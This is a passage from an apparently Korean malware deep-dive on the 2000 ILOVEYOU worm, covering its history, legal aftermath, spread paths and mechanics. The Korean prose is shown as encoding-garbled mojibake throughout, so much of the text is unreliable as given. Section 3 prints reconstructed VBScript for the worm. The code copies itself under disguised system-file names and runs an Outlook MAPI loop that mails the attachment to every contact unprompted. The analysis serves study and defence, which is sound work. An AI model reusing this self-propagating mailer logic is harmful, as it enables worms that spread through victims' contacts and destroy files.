๐Ÿ’Œ ILOVEYOU / LoveLetter (2000) โ€” 'LOVE-LETTER-FOR-YOU.TXT.vbs' ํ•œ ํ†ต์ด 1,000๋งŒ ๋Œ€๋ฅผ ๊ฐ์—ผ์‹œํ‚จ ์ตœ์ดˆ์˜ ๋Œ€๋Ÿ‰ ๋ฉ”์ผ ์›œ

2026-10-22 ยท Malware Deep-Dive (Mass-Mailer ยท VBScript ยท Social Engineering ยท 2000)
๊ธฐ์ˆ  ์ •๋ณด
  • ์•…์„ฑ์ฝ”๋“œ๋ช…: ILOVEYOU ยท ๋ณ„์นญ LoveLetter / Love Bug / VBS/LoveLetter.A ยท VBS.LoveLetter.A
  • ๋“ฑ์žฅ: 2000๋…„ 5์›” 4์ผ (ํ•„๋ฆฌํ•€ ๋งˆ๋‹๋ผ ์œ ํฌ โ†’ ํ™์ฝฉ์—์„œ ์ฒซ ๋Œ€๋Ÿ‰ ๋ณด๊ณ  โ†’ ์ˆ˜ ์‹œ๊ฐ„ ๋งŒ์— ์œ ๋Ÿฝยท๋ฏธ๊ตญ ์ „์—ญ)
  • ๋ถ„๋ฅ˜: ๋Œ€๋Ÿ‰ ๋ฉ”์ผ ์›œ(mass-mailer). ๋„คํŠธ์›Œํฌ ์Šค์บ”ํ˜•์ด ์•„๋‹ˆ๋ผ ์‚ฌ์šฉ์ž์˜ ๋”๋ธ”ํด๋ฆญ์„ ์—”์ง„์œผ๋กœ ์“ฐ๋Š” VBScript ์Šคํฌ๋ฆฝํŠธ
  • ์ œ๋ชฉ/๋ณธ๋ฌธ/์ฒจ๋ถ€: ์ œ๋ชฉ ILOVEYOU ยท ๋ณธ๋ฌธ kindly check the attached LOVELETTER coming from me. ยท ์ฒจ๋ถ€ LOVE-LETTER-FOR-YOU.TXT.vbs
  • ์‹คํ–‰ ํ™˜๊ฒฝ: Windows Script Host(WSH, wscript.exe) + Outlook MAPI ์ฃผ์†Œ๋ก + mIRC ์Šคํฌ๋ฆฝํŠธ + ํŒŒ์ผ์‹œ์Šคํ…œ(Scripting.FileSystemObject)
  • ์ „ํŒŒ 3๊ฒฝ๋กœ: โ‘  ์•„์›ƒ๋ฃฉ ์ฃผ์†Œ๋ก ์ „์ฒด์— ์ž๋™ ๋ฐœ์†ก โ‘ก ๋กœ์ปฌ ๋“œ๋ผ์ด๋ธŒ ์ „์ฒด์˜ ํŒŒ์ผ ๊ฐ์—ผ(.vbs .vbe .js .jse .css .wsh .sct .hta .jpg .jpeg .mp3 .mp2 .html .htm) โ‘ข mIRC script.ini ์‹ฌ์–ด IRC ์ฑ„๋„ ์ž…์žฅ์ž์—๊ฒŒ DCC ์ž๋™ ์ „์†ก
  • 2๋‹จ๊ณ„ ํŽ˜์ด๋กœ๋“œ: IE ์‹œ์ž‘ ํŽ˜์ด์ง€๋ฅผ ์กฐ์ž‘ํ•ด WIN-BUGSFIX.EXE(๋‹ค์ด์–ผ์—… ์•”ํ˜ธ ํƒˆ์ทจ ํŠธ๋กœ์ด๋ชฉ๋งˆ)๋ฅผ ๋‚ด๋ ค๋ฐ›๊ฒŒ ํ•˜๊ณ  Run ํ‚ค์— ๋“ฑ๋ก
  • ํ”ผํ•ด: ์•ฝ 1,000๋งŒ ๋Œ€ ๊ฐ์—ผ(์ผ๋ถ€ ์ง‘๊ณ„ ์ตœ๋Œ€ 4,500๋งŒ ๋Œ€, ์ธํ„ฐ๋„ท ์—ฐ๊ฒฐ PC์˜ ์•ฝ 10%), ํ”ผํ•ด์•ก ์•ฝ 55์–ต ๋‹ฌ๋Ÿฌ(Computer Economics ์ถ”์ •, ์ผ๋ถ€ ์ง‘๊ณ„ 87์–ต~100์–ต ๋‹ฌ๋Ÿฌ)
  • ์ œ์ž‘์ž: Onel de Guzman(ํ•„๋ฆฌํ•€ AMA Computer College). ์กธ์—… ๋…ผ๋ฌธ์œผ๋กœ ์ œ์ถœํ•˜๋ ค๋˜ '์ธํ„ฐ๋„ท ์ ‘์†๋ฃŒ๋ฅผ ํ›”์น˜๋Š” ํŠธ๋กœ์ด๋ชฉ๋งˆ'๊ฐ€ ๊ฑฐ์ ˆ๋‹นํ•œ ๋’ค ๋ณ€ํ˜•๋œ ๊ฒƒ์œผ๋กœ ์•Œ๋ ค์กŒ๋‹ค
  • ๋ฒ•์  ๊ฒฐ๋ง: ๋‹น์‹œ ํ•„๋ฆฌํ•€์— ํ•ดํ‚น์„ ์ฒ˜๋ฒŒํ•  ๋ฒ•์ด ์—†์—ˆ๋‹ค. 2000๋…„ 6์›” ์ œ์ •๋œ ์ „์ž์ƒ๊ฑฐ๋ž˜๋ฒ•(RA 8792)์˜ ์†Œ๊ธ‰ ์ ์šฉ ๊ธˆ์ง€๋กœ 5์›” 21์ผ ๊ธฐ์†Œ ์ทจํ•˜ โ€” "๋ฌด์ฃ„๊ฐ€ ์•„๋‹ˆ๋ผ, ์ฃ„๋ฅผ ๊ทœ์ •ํ•œ ๋ฒ•์ด ์—†์—ˆ๋‹ค"
  • ์˜์˜: ์‚ฌํšŒ๊ณตํ•™ + ์ž๋™ํ™”๋œ ์ฃผ์†Œ๋ก + ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด๋ผ๋Š” ์˜ค๋Š˜๋‚  ๋žœ์„ฌ์›จ์–ด ์œ ํฌ ์ฒด์ธ์˜ ์›ํ˜•. ์ดํ›„ ๋ชจ๋“  ๋ฉ”์ผ ๊ฒŒ์ดํŠธ์›จ์ด๊ฐ€ .vbs ์ฐจ๋‹จ ๋ชฉ๋ก์„ ๊ฐ–๊ฒŒ ๋œ ์ง์ ‘์  ๊ณ„๊ธฐ

1. ๋ฐฐ๊ฒฝ/์—ญ์‚ฌ โ€” ๋งˆ๋‹๋ผ์˜ ๋…ผ๋ฌธ ํ•œ ํŽธ์—์„œ ์‹œ์ž‘๋œ 5์›”

1999๋…„ Melissa๊ฐ€ ๋งคํฌ๋กœ ๋ฐ”์ด๋Ÿฌ์Šค๋กœ ์•„์›ƒ๋ฃฉ ์ฃผ์†Œ๋ก์„ ์ฒ˜์Œ ๋Œ€๋Ÿ‰์œผ๋กœ ๊ฑด๋“œ๋ ธ๊ณ , 2000๋…„ ์ดˆ Anna KournikovaยทNavidad ๊ฐ™์€ VBS ๊ณ„์—ด์ด 'ํ…Œ๋งˆํ˜• ์ฒจ๋ถ€ํŒŒ์ผ'์˜ ์œ„๋ ฅ์„ ์˜ˆ๊ณ ํ–ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ILOVEYOU๋Š” ์ด ๋ชจ๋“  ๊ฒƒ์„ ํ•œ ๋‹จ๊ณ„ ๋Œ์–ด์˜ฌ๋ ธ๋‹ค. ํ…Œ๋งˆ๊ฐ€ ์—ฐ์• ์˜€๊ณ , ํ™•์žฅ์ž๊ฐ€ ์ˆจ๊ฒจ์ ธ ์žˆ์—ˆ๊ณ , ์ฝ”๋“œ๊ฐ€ 1KB ๋‚จ์ง“์˜ ์‚ฌ๋žŒ์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š” VBScript์˜€๋‹ค.

๋ฐฐ๊ฒฝ์—๋Š” ํ•„๋ฆฌํ•€์˜ ํ†ต์‹  ํ™˜๊ฒฝ์ด ์žˆ๋‹ค. 2000๋…„ ๋งˆ๋‹๋ผ์˜ ๊ฐ€์ •์šฉ ์ธํ„ฐ๋„ท์€ ์‚ฌ์šฉํ•œ ์‹œ๊ฐ„๋งŒํผ ์š”๊ธˆ์„ ๋‚ด๋Š” ์ข…๋Ÿ‰์ œ ๋‹ค์ด์–ผ์—…์ด ์ผ๋ฐ˜์ ์ด์—ˆ๋‹ค. AMA Computer College์— ๋‹ค๋‹ˆ๋˜ Onel de Guzman์€ ์ ‘์†๋ฃŒ๋ฅผ ๋‚ด์ง€ ์•Š์œผ๋ ค๊ณ  ๋‹ค์ด์–ผ์—… ์•”ํ˜ธ๋ฅผ ๋นผ๋‚ด ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ ๊ณ„์ •์œผ๋กœ ์ ‘์†ํ•˜๋Š” ํŠธ๋กœ์ด๋ชฉ๋งˆ๋ฅผ ์กธ์—… ๋…ผ๋ฌธ์œผ๋กœ ์ œ์ถœํ–ˆ๊ณ , ํ•™๊ต๋Š” "๋ถˆ๋ฒ•"์ด๋ผ๋Š” ์ด์œ ๋กœ ๊ฑฐ์ ˆํ–ˆ๋‹ค. ๊ทธ๋Š” ๊ทธ ์ฝ”๋“œ์˜ '์•”ํ˜ธ ํƒˆ์ทจ' ๋ถ€๋ถ„์„ ๋–ผ์–ด๋‚ด๊ณ  '์ฃผ์†Œ๋ก์œผ๋กœ ์ž๊ธฐ ์ž์‹ ์„ ํผ๋œจ๋ฆฌ๋Š”' ๋ถ€๋ถ„์„ ๋ถ™์—ฌ 2000๋…„ 5์›” 4์ผ ๋‚ด๋ณด๋ƒˆ๋‹ค. ๋…ผ๋ฌธ์ด ๊ฑฐ์ ˆ๋œ ์ง€ ๋ช‡ ๋‹ฌ ๋’ค์˜€๋‹ค.

์ฒซ ์‹ ๊ณ ๋Š” 2000๋…„ 5์›” 4์ผ ํ™์ฝฉ์—์„œ ๋“ค์–ด์™”๋‹ค. ์˜์—…์ผ์ด ์‹œ์ž‘๋˜๋Š” ์ˆœ์„œ๋Œ€๋กœ โ€” ์•„์‹œ์•„ โ†’ ์œ ๋Ÿฝ โ†’ ๋ฏธ์ฃผ โ€” ์‹œ์ฐจ๋ฅผ ํƒ€๊ณ  24์‹œ๊ฐ„ ์•ˆ์— ์ง€๊ตฌ๋ฅผ ํ•œ ๋ฐ”ํ€ด ๋Œ์•˜๋‹ค. ์˜๊ตญ ํ•˜์›, ๋ด๋งˆํฌ ์˜ํšŒ, CIA, ํŽœํƒ€๊ณค, ํฌ๋“œ, ๋‹ค์šฐ์กด์Šค, ABC ๋ฐฉ์†ก ๋“ฑ์˜ ๋ฉ”์ผ ์‹œ์Šคํ…œ์ด ์ž ๊ฒผ๊ณ , ํ•„๋ฆฌํ•€ ์ฆ๊ถŒ๊ฑฐ๋ž˜์†Œ๋Š” ์‹œ์Šคํ…œ์„ ๋ฉˆ์ถ”๊ณ  ์ˆ˜์ž‘์—…์œผ๋กœ ๊ฑฐ๋ž˜๋ฅผ ์ฒ˜๋ฆฌํ•ด์•ผ ํ–ˆ๋‹ค. ๋ฏธ๊ตญ ์ •๋ถ€๋Š” ์ผ๋ถ€ ๋ถ„๋ฅ˜ ์‹œ์Šคํ…œ์˜ ์™ธ๋ถ€ ์—ฐ๊ฒฐ์„ ์ฐจ๋‹จํ–ˆ๊ณ , ์Šค์›จ๋ด ์˜ํšŒ๋„ ๋ฉ”์ผ์„ ๋‹ซ์•˜๋‹ค.

์ˆ˜์‚ฌ๋Š” ๋น ๋ฅด๊ฒŒ ์ง„ํ–‰๋์ง€๋งŒ ๊ฒฐ๋ง์€ ํ—ˆ๋ฌดํ–ˆ๋‹ค. ํ•„๋ฆฌํ•€ ๊ฒฝ์ฐฐ์€ 5์›” 8์ผ de Guzman์˜ ์žํƒ์„ ์ˆ˜์ƒ‰ํ–ˆ์œผ๋‚˜, ๋‹น์‹œ ํ•„๋ฆฌํ•€ ํ˜•๋ฒ•์—๋Š” ์ปดํ“จํ„ฐ๋ฅผ ํ†ตํ•œ ์žฌ์‚ฐ ์นจํ•ดยท์•…์„ฑ์ฝ”๋“œ ์œ ํฌ๋ฅผ ์ฒ˜๋ฒŒํ•˜๋Š” ์กฐํ•ญ์ด ์—†์—ˆ๋‹ค. ๊ฒ€์ฐฐ์€ ์ ˆ๋„ยท์‚ฌ๊ธฐ ํ˜์˜ ์ ์šฉ์„ ์‹œ๋„ํ–ˆ์ง€๋งŒ ์‹คํŒจํ–ˆ๊ณ , 2000๋…„ 6์›” 14์ผ ์ œ์ •๋œ ์ „์ž์ƒ๊ฑฐ๋ž˜๋ฒ•(RA 8792)์ด ์†Œ๊ธ‰ ์ ์šฉ๋˜์ง€ ์•Š์•„ 5์›” 21์ผ ๊ธฐ์†Œ๊ฐ€ ์ทจํ•˜๋๋‹ค. ์ด ์‚ฌ๊ฑด์€ ์ดํ›„ ๊ฐ๊ตญ์ด ์‚ฌ์ด๋ฒ„ ๋ฒ”์ฃ„ ์ฒ˜๋ฒŒ๋ฒ•์„ ์„œ๋‘๋ฅด๊ฒŒ ๋งŒ๋“  ๊ฒฐ์ •์  ์‚ฌ๋ก€๋กœ ๋‚จ์•˜๋‹ค(ํ—๊ฐ€๋ฆฌ ๋ถ€๋‹คํŽ˜์ŠคํŠธ ํ˜‘์•ฝ ํ™•๋Œ€, ํ•„๋ฆฌํ•€ ์‚ฌ์ด๋ฒ„๋ฒ”์ฃ„์˜ˆ๋ฐฉ๋ฒ•(2012) ๋“ฑ).

2. ๊ฐ์—ผยท์ „ํŒŒ ๊ฒฝ๋กœ โ€” ์„ธ ๊ฐœ์˜ ๋ฌธ์„ ๋™์‹œ์— ๋‘๋“œ๋ฆฐ๋‹ค

ILOVEYOU์˜ ํ™•์‚ฐ๋ ฅ์€ ํ•œ ๋ฒˆ์˜ ๋”๋ธ”ํด๋ฆญ์ด ์„ธ ๊ฐˆ๋ž˜๋กœ ๋™์‹œ์— ํผ์ง„๋‹ค๋Š” ์ ์—์„œ ๋‚˜์™”๋‹ค. ์‚ฌ์šฉ์ž๋Š” "์ง€์ธ์ด ๋ณด๋‚ธ ๋Ÿฌ๋ธŒ๋ ˆํ„ฐ"๋ฅผ ์—ด์—ˆ์„ ๋ฟ์ด์ง€๋งŒ, ๊ทธ ์ˆœ๊ฐ„ โ‘  ๋ฉ”์ผํ•จ โ‘ก ๋‚ด ํ•˜๋“œ๋””์Šคํฌ โ‘ข ๋‚ด๊ฐ€ ๋“ค์–ด๊ฐ€๋Š” IRC ์ฑ„๋„์ด ๋ชจ๋‘ ๊ฐ์—ผ ๊ฒฝ๋กœ๋กœ ๋ฐ”๋€๋‹ค.

  1. ์ด๋ฉ”์ผ(1์ฐจ ์—”์ง„) โ€” ์•„์›ƒ๋ฃฉ MAPI: ์‹คํ–‰ ์ฆ‰์‹œ Outlook.Application์„ COM์œผ๋กœ ์ƒ์„ฑํ•ด GetNameSpace("MAPI")๋กœ ๋ชจ๋“  ์ฃผ์†Œ ๋ชฉ๋ก(AddressLists)์˜ ๋ชจ๋“  ํ•ญ๋ชฉ์— ์ž๊ธฐ ์ž์‹ ์„ ์ฒจ๋ถ€ํ•ด ๋ฐœ์†กํ•œ๋‹ค. ์‚ฌ์šฉ์ž๋Š” '๋ณด๋‚ด๊ธฐ' ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด์ง€ ์•Š๋Š”๋‹ค.
  2. ํŒŒ์ผ์‹œ์Šคํ…œ(2์ฐจ ์—”์ง„) โ€” listadriv(): Scripting.FileSystemObject๋กœ ๋ชจ๋“  ๋“œ๋ผ์ด๋ธŒ์˜ ๋ชจ๋“  ํด๋”๋ฅผ ์žฌ๊ท€์ ์œผ๋กœ ํ›‘์œผ๋ฉฐ ํ™•์žฅ์ž๋ณ„๋กœ ๋‹ค๋ฅธ ๊ฐ์—ผ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. ๊ณต์œ  ํด๋”๊ฐ€ ๋งˆ์šดํŠธ๋ผ ์žˆ์œผ๋ฉด ๊ทธ ๊ฒฝ๋กœ๋„ ํฌํ•จ๋œ๋‹ค.
  3. IRC(3์ฐจ ์—”์ง„) โ€” mIRC script.ini: mirc.ini๋ฅผ ์ฐพ์œผ๋ฉด ๊ฐ™์€ ํด๋”์— script.ini๋ฅผ ์ƒˆ๋กœ ์จ์„œ, ๋‚ด๊ฐ€ ์ฑ„๋„์— ๋“ค์–ด๊ฐˆ ๋•Œ๋งˆ๋‹ค ์ฑ„๋„์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž์—๊ฒŒ ํŒŒ์ผ์„ DCC ์ „์†กํ•˜๋„๋ก ๋งŒ๋“ ๋‹ค. ์‚ฌ๋žŒ์ด ๋งŽ์„์ˆ˜๋ก ์ง€์ˆ˜๊ฐ€ ์ปค์ง€๋Š” ๊ตฌ์กฐ๋‹ค.

์ฃผ๋ชฉํ•  ์ ์€ ๋„คํŠธ์›Œํฌ ์Šค์บ”์ด ์ „ํ˜€ ์—†๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. MorrisยทCode RedยทSlammer๊ฐ€ '์ทจ์•ฝํ•œ ์„œ๋น„์Šค'๋ฅผ ์ฐพ์•„ ํ—ค๋งธ๋‹ค๋ฉด, ILOVEYOU๋Š” ์ด๋ฏธ ์‹ ๋ขฐ๊ฐ€ ํ˜•์„ฑ๋œ ๊ด€๊ณ„(์ฃผ์†Œ๋กยท์ฑ„๋„)๋ฅผ ๊ทธ๋Œ€๋กœ ๊ณต๊ฒฉ ํ‘œ๋ฉด์œผ๋กœ ์ผ๋‹ค. ๋ฐฉํ™”๋ฒฝ์€ ์•„๋ฌด๊ฒƒ๋„ ๋ง‰์ง€ ๋ชปํ–ˆ๋‹ค. ํŠธ๋ž˜ํ”ฝ์€ ์ •์ƒ์ ์ธ SMTP 25๋ฒˆ ํฌํŠธ์˜€๊ณ , ๋ฐœ์‹ ์ž๋Š” ๋‚ด ์ฃผ์†Œ๋ก์— ์žˆ๋Š” ์ง€์ธ์ด์—ˆ๋‹ค.

ํ™•์‚ฐ ์†๋„๋ฅผ ๋งŒ๋“  ๋˜ ํ•˜๋‚˜์˜ ์š”์†Œ๋Š” ์ œ๋ชฉ๊ณผ ์ฒจ๋ถ€์˜ ์ผ๊ด€์„ฑ์ด๋‹ค. ๋ชจ๋“  ๋ฉ”์ผ์ด ๋˜‘๊ฐ™์ด "ILOVEYOU" / "kindly check the attached LOVELETTER coming from me." ์˜€๊ธฐ ๋•Œ๋ฌธ์—, ์‚ฌ์šฉ์ž๋Š” "์—ฌ๋Ÿฌ ๋ช…์ด ๋‚˜์—๊ฒŒ ๊ฐ™์€ ๋Ÿฌ๋ธŒ๋ ˆํ„ฐ๋ฅผ ๋ณด๋ƒˆ๋‹ค"๊ณ  ํ•ด์„ํ–ˆ๋‹ค. ์ง€๊ธˆ์˜ ์Šคํ”ผ์–ดํ”ผ์‹ฑ์ด ๊ฐœ์ธํ™”๋กœ ์‹ ๋ขฐ๋ฅผ ์–ป๋Š”๋‹ค๋ฉด, 2000๋…„์˜ ์ด ์›œ์€ ์‚ฌํšŒ์  ์ฆ๊ฑฐ(social proof)์˜ ์ฐฉ์‹œ๋กœ ์‹ ๋ขฐ๋ฅผ ์–ป์—ˆ๋‹ค.

3. ๋™์ž‘ ์›๋ฆฌ ์ƒ์„ธ โ€” 1KB ์Šคํฌ๋ฆฝํŠธ์˜ ํ•ด๋ถ€

์›๋ณธ์€ ๊ณต๊ฐœ ๋ถ„์„ ์ž๋ฃŒ๋กœ ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ๋ฌธ์„œํ™”๋ผ ์žˆ๋‹ค. ์•„๋ž˜๋Š” ๊ทธ ๊ตฌ์กฐ๋ฅผ ์žฌ๊ตฌ์„ฑํ•œ ๊ฒƒ์ด๋ฉฐ, ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์›๋ณธ ์ฝ”๋“œ๊ฐ€ ์•„๋‹ˆ๋‹ค(ํ•ต์‹ฌ ์ƒ์ˆ˜ยท๊ฒฝ๋กœยทํ•จ์ˆ˜ ์ด๋ฆ„๋งŒ ๋ณด์กดํ•œ ์ถ•์•ฝํ˜•). ์ฝ”๋“œ ์„œ๋‘์—๋Š” ์ œ์ž‘์ž๊ฐ€ ๋‚จ๊ธด ํ”์ ์œผ๋กœ ์•Œ๋ ค์ง„ ์ฃผ์„ rem barok -loveletter(vbe) <i hate go to school> by: spyder ... Manila, Philippines / March 5, 2000์ด ์žˆ์—ˆ๋‹ค.

3.1 ์‹คํ–‰ ์ง„์ž…์  โ€” 5๊ฐœ์˜ ๋ณต์‚ฌ๋ณธ๊ณผ 3๊ฐœ์˜ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค

์Šคํฌ๋ฆฝํŠธ๋Š” WScript.ScriptFullname์œผ๋กœ ์ž๊ธฐ ์ž์‹ ์˜ ํ…์ŠคํŠธ๋ฅผ ์ฝ์–ด ๋ณ€์ˆ˜์— ๋‹ด๋Š”๋‹ค(vbscopy). ์ดํ›„ ๋ชจ๋“  ๊ฐ์—ผ ๋™์ž‘์€ "์ด ๋ฌธ์ž์—ด์„ ๋‹ค๋ฅธ ์œ„์น˜์— ์“ฐ๋Š” ์ผ"๋กœ ํ†ต์ผ๋œ๋‹ค. ์ด๊ฒƒ์ด 1KB์งœ๋ฆฌ ์ฝ”๋“œ๊ฐ€ ํŒŒ์ผยท๋ฉ”์ผยทIRC๋ฅผ ๋ชจ๋‘ ๊ฐ์—ผ์‹œํ‚ฌ ์ˆ˜ ์žˆ์—ˆ๋˜ ์ด์œ ๋‹ค.

' โ”€โ”€ ๊ตฌ์กฐ ์žฌ๊ตฌ์„ฑ(๊ต์œก์šฉ ์š”์•ฝ). ์›๋ณธ ๋ฐ”์ด๋„ˆ๋ฆฌ/์ „์ฒด ์ฝ”๋“œ ์•„๋‹˜ โ”€โ”€
On Error Resume Next                      ' ์˜ค๋ฅ˜๊ฐ€ ๋‚˜๋„ ๋ฉˆ์ถ”์ง€ ์•Š๋Š”๋‹ค โ†’ ๊ฐ์—ผ ์ง€์†์„ฑ
Set fso  = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy  = file.ReadAll                   ' โ˜… ์ž๊ธฐ ์ž์‹ ์„ ๋ฌธ์ž์—ด๋กœ ๋ณด๊ด€

Set dirwin = fso.GetSpecialFolder(0)      ' C:\Windows
Set dirsys = fso.GetSpecialFolder(1)      ' C:\Windows\System32

Set c = fso.GetFile(WScript.ScriptFullname)
c.Copy dirsys & "\MSKernel32.vbs"         ' โ‘  ์œ„์žฅ ์ด๋ฆ„์œผ๋กœ ์ƒ์ฃผ
c.Copy dirwin & "\Win32DLL.vbs"           ' โ‘ก ์œ„์žฅ ์ด๋ฆ„์œผ๋กœ ์ƒ์ฃผ
c.Copy dirsys & "\LOVE-LETTER-FOR-YOU.TXT.vbs"   ' โ‘ข ๋ฉ”์ผ ์ฒจ๋ถ€์šฉ ์›๋ณธ ํ™•๋ณด

regruns()      ' ์ž๋™ ์‹คํ–‰ ๋“ฑ๋ก + 2๋‹จ๊ณ„ ํŽ˜์ด๋กœ๋“œ ์ค€๋น„
htmls()        ' ํ™•์žฅ์ž๋ณ„ ํŒŒ์ผ ๊ฐ์—ผ
spreadtoemail()' ์•„์›ƒ๋ฃฉ ์ฃผ์†Œ๋ก ์ „์ฒด ๋ฐœ์†ก
listadriv()    ' ๋ชจ๋“  ๋“œ๋ผ์ด๋ธŒ ์ˆœํšŒ

ํŒŒ์ผ ์ด๋ฆ„์„ MSKernel32.vbs, Win32DLL.vbs๋กœ ์ •ํ•œ ๊ฒƒ์€ ์ •์ƒ ์‹œ์Šคํ…œ ํŒŒ์ผ์ฒ˜๋Ÿผ ๋ณด์ด๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•œ ์œ„์žฅ์ด๋‹ค. ์‹ค์ œ MSKernel32.dllยทkernel32.dll๊ณผ ํ˜ผ๋™๋˜๋„๋ก ์ด๋ฆ„์„ ๋ถ™์˜€๋‹ค.

3.2 spreadtoemail() โ€” ์ฃผ์†Œ๋ก์„ 'ํ•œ ๋ฒˆ๋งŒ' ๊ธ๋Š” ์žฅ์น˜

๊ฐ€์žฅ ์น˜๋ช…์ ์ธ ํ•จ์ˆ˜๋‹ค. COM์œผ๋กœ ์•„์›ƒ๋ฃฉ์„ ์กฐ์ž‘ํ•ด ์ฃผ์†Œ ๋ชฉ๋ก์„ ์ˆœํšŒํ•˜๊ณ , ๊ฐ ์ˆ˜์‹ ์ž์—๊ฒŒ ์ฒจ๋ถ€ํŒŒ์ผ์„ ๋ถ™์—ฌ Sendํ•œ๋‹ค. ์—ฌ๊ธฐ์— ์ค‘๋ณต ๋ฐœ์†ก ๋ฐฉ์ง€์šฉ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ๋งˆ์ปค๊ฐ€ ๋ถ™์–ด ์žˆ์—ˆ๋‹ค.

' ์˜์‚ฌ ์ฝ”๋“œ โ€” ์‹ค์ œ ๋ฐœ์†ก์€ ํ•˜์ง€ ์•Š๋Š”๋‹ค
Set out  = CreateObject("Outlook.Application")
Set mapi = out.GetNameSpace("MAPI")

For Each list In mapi.AddressLists            ' ์—ฐ๋ฝ์ฒ˜ ํด๋”๋ณ„๋กœ
    regv = RegRead("HKCU\Software\Microsoft\WAB\" & list)
    If regv = "" Then regv = 0
    If list.AddressEntries.Count > regv Then
        regv = list.AddressEntries.Count
        RegWrite "HKCU\Software\Microsoft\WAB\" & list, regv   ' โ˜… ์ฒ˜๋ฆฌํ•œ ๊ฐœ์ˆ˜ ๊ธฐ๋ก
    End If

    For i = 1 To regv
        addr = list.AddressEntries(i)
        If RegRead("HKCU\Software\Microsoft\WAB\" & addr) = "" Then
            Set m = out.CreateItem(0)             ' ์ƒˆ ๋ฉ”์ผ
            m.Recipients.Add addr                 ' ์ˆ˜์‹ ์ž 1๋ช…
            m.Subject = "ILOVEYOU"
            m.Body    = vbCrLf & "kindly check the attached LOVELETTER coming from me."
            m.Attachments.Add dirsys & "\LOVE-LETTER-FOR-YOU.TXT.vbs"
            m.Send                                ' ์‚ฌ์šฉ์ž ํ™•์ธ ์—†์ด ์ฆ‰์‹œ ๋ฐœ์†ก
        End If
    Next
Next

HKCU\Software\Microsoft\WAB\ ์•„๋ž˜์— ์ฃผ์†Œ ๋ชฉ๋ก ์ด๋ฆ„๊ณผ ๊ฐœ๋ณ„ ์ฃผ์†Œ๋ฅผ ๋งˆ์ปค๋กœ ๊ธฐ๋กํ•œ ๊ฒƒ์ด ํ•ต์‹ฌ์ด๋‹ค. โ‘  ๊ฐ™์€ ์‚ฌ๋žŒ์—๊ฒŒ ๋ฌดํ•œ์ • ๋ฉ”์ผ์„ ๋ณด๋‚ด SMTP ์„œ๋ฒ„์—์„œ ์ฐจ๋‹จ๋˜๋Š” ๊ฒƒ์„ ๋ง‰๊ณ , โ‘ก ์ด๋ฏธ ๊ฐ์—ผ๋œ ์‚ฌ๋žŒ์ด ๋‹ค์‹œ ๊ฐ์—ผ๋์„ ๋•Œ ์ƒˆ๋กœ ์ถ”๊ฐ€๋œ ์ฃผ์†Œ๋งŒ ๊ธ์–ด๊ฐ€๋„๋ก ํ–ˆ๋‹ค. ์ฆ‰ ๋‹จ์ˆœ ํญ์ฃผ๊ฐ€ ์•„๋‹ˆ๋ผ ์ƒํƒœ๋ฅผ ๊ฐ€์ง„ ํ™•์‚ฐ์ด์—ˆ๋‹ค. ์˜ค๋Š˜๋‚  ๋žœ์„ฌ์›จ์–ด์˜ '๊ฐ์—ผ ๋งˆ์ปค ํŒŒ์ผ'(๋˜๋Š” Mutex)๊ณผ ๊ฐ™์€ ๋ฐœ์ƒ์ด๋‹ค.

๋ถ€์ž‘์šฉ๋„ ์žˆ์—ˆ๋‹ค. ์ฃผ์†Œ๋ก์ด ์ˆ˜์ฒœ ๊ฐœ์ธ ๊ธฐ์—… ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ์—ผ๋˜๋ฉด ํ•œ ๋Œ€์˜ PC๊ฐ€ ์ˆ˜์ฒœ ํ†ต์„ ๋ฐœ์†กํ•ด ์‚ฌ๋‚ด ๋ฉ”์ผ ์„œ๋ฒ„์˜ ํ๊ฐ€ ํ„ฐ์กŒ๋‹ค. ์‹ค์ œ๋กœ ์ดˆ๊ธฐ ํ™•์‚ฐ์€ ์›œ์˜ ํ™•์‚ฐ ์†๋„๋ณด๋‹ค ๋ฉ”์ผ ์„œ๋ฒ„์˜ ์ฒ˜๋ฆฌ ํ•œ๊ณ„๊ฐ€ ๊ฒฐ์ •ํ–ˆ๋‹ค. ๋งŽ์€ ์กฐ์ง์ด "๋ฉ”์ผ์ด ์•ˆ ์˜จ๋‹ค"๋ฅผ ์ด์ƒ ์‹ ํ˜ธ๋กœ ๊ฐ์ง€ํ•œ ์ด์œ ๋‹ค.

3.3 infectfiles() / listadriv() โ€” ํ™•์žฅ์ž๋ณ„๋กœ ๋‹ค๋ฅธ ์„ธ ๊ฐ€์ง€ ๊ฐ์—ผ

ํŒŒ์ผ ๊ฐ์—ผ ๋กœ์ง์€ ํ™•์žฅ์ž์— ๋”ฐ๋ผ ๋ฎ์–ด์“ฐ๊ธฐ ยท ์ถ”๊ฐ€(append) ยท ์ด๋ฆ„ ๋ณ€ํ™˜์œผ๋กœ ๊ฐˆ๋ฆฐ๋‹ค. ์ด ์ฐจ์ด๊ฐ€ "ํ”ผํ•ด์ž๋งˆ๋‹ค ๋ฐ์ดํ„ฐ ์†์‹ค ์ •๋„๊ฐ€ ๋‹ฌ๋ž๋˜" ์ด์œ ๋‹ค.

๋Œ€์ƒ ํ™•์žฅ์ž๋™์ž‘๊ฒฐ๊ณผ
.vbs .vbeํŒŒ์ผ์„ ๋ฎ์–ด์“ด๋‹ค(vbscopy๋กœ ์ „์ฒด ๊ต์ฒด)์›๋ณธ ์Šคํฌ๋ฆฝํŠธ ์†Œ์‹ค
.js .jse .css .wsh .sct .hta๋ฎ์–ด์“ด ๋’ค ๊ฐ™์€ ์ด๋ฆ„์˜ .vbs ๋ณต์‚ฌ๋ณธ์„ ์ถ”๊ฐ€ ์ƒ์„ฑ์›๋ณธ ์†Œ์‹ค + ๊ฐ์—ผ ์‚ฌ๋ณธ 2๊ฐœ
